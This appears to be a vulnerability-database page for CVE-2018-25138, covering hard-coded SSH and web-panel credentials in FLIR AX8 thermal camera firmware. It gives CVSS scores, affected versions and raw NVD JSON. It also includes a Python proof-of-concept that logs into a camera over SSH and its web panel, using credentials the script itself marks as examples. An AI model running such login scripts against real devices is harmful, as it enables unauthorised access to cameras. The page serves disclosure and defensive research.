Security Vulnerability Report
中文
CVE-2018-25138 CVSS 9.8 CRITICAL

CVE-2018-25138

Published: 2025-12-24 20:15:48
Last Modified: 2026-01-05 14:15:51

Description

FLIR AX8 Thermal Camera 1.32.16 contains hard-coded SSH and web panel credentials that cannot be changed through normal camera operations. Attackers can exploit these persistent credentials to gain unauthorized shell access and login to multiple camera interfaces using predefined username and password combinations.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:flir:flir_ax8_firmware:1.32.16:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:flir:flir_ax8:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:flir:flir_ax8_firmware:1.17.13:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:flir:flir_ax8:-:*:*:*:*:*:*:* - NOT VULNERABLE
FLIR AX8 Thermal Camera firmware <= 1.32.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import paramiko import requests # Hardcoded credentials for FLIR AX8 Thermal Camera SSH_CREDS = { 'username': 'root', 'password': 'pass123' # Example hardcoded credential } WEB_CREDS = { 'username': 'admin', 'password': 'admin123' # Example hardcoded credential } TARGET_IP = '192.168.1.100' # Target camera IP def exploit_ssh(): """Exploit hardcoded SSH credentials""" try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(TARGET_IP, port=22, username=SSH_CREDS['username'], password=SSH_CREDS['password'], timeout=10) print('[+] SSH connection successful!') stdin, stdout, stderr = ssh.exec_command('id') print('[+] Command output:', stdout.read().decode()) ssh.close() return True except Exception as e: print(f'[-] SSH exploit failed: {e}') return False def exploit_web(): """Exploit hardcoded Web panel credentials""" try: session = requests.Session() login_url = f'http://{TARGET_IP}/login' data = { 'username': WEB_CREDS['username'], 'password': WEB_CREDS['password'] } response = session.post(login_url, data=data, timeout=10) if response.status_code == 200 and 'authenticated' in response.text: print('[+] Web panel access successful!') return True return False except Exception as e: print(f'[-] Web exploit failed: {e}') return False if __name__ == '__main__': print('[*] CVE-2018-25138 Exploit - FLIR AX8 Hardcoded Credentials') exploit_ssh() exploit_web()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25138", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:47.807", "lastModified": "2026-01-05T14:15:50.533", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "FLIR AX8 Thermal Camera 1.32.16 contains hard-coded SSH and web panel credentials that cannot be changed through normal camera operations. Attackers can exploit these persistent credentials to gain unauthorized shell access and login to multiple camera interfaces using predefined username and password combinations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:flir:flir_ax8_firmware:1.32.16:*:*:*:*:*:*:*", "matchCriteriaId": "F3C30C40-7473-4F2F-AEB7-5DD3C96A6186"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:flir:flir_ax8:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A4DACB7-0558-4C74-8EDB-39591236ADEE"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:flir:flir_ax8_firmware:1.17.13:*:*:*:*:*:*:*", "matchCriteriaId": "82BDB498-9003-4C74-B197-914D35D0EEBE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:flir:flir_ax8:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A4DACB7-0558-4C74-8EDB-39591236ADEE"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/45629", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.flir.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5494.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5494.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}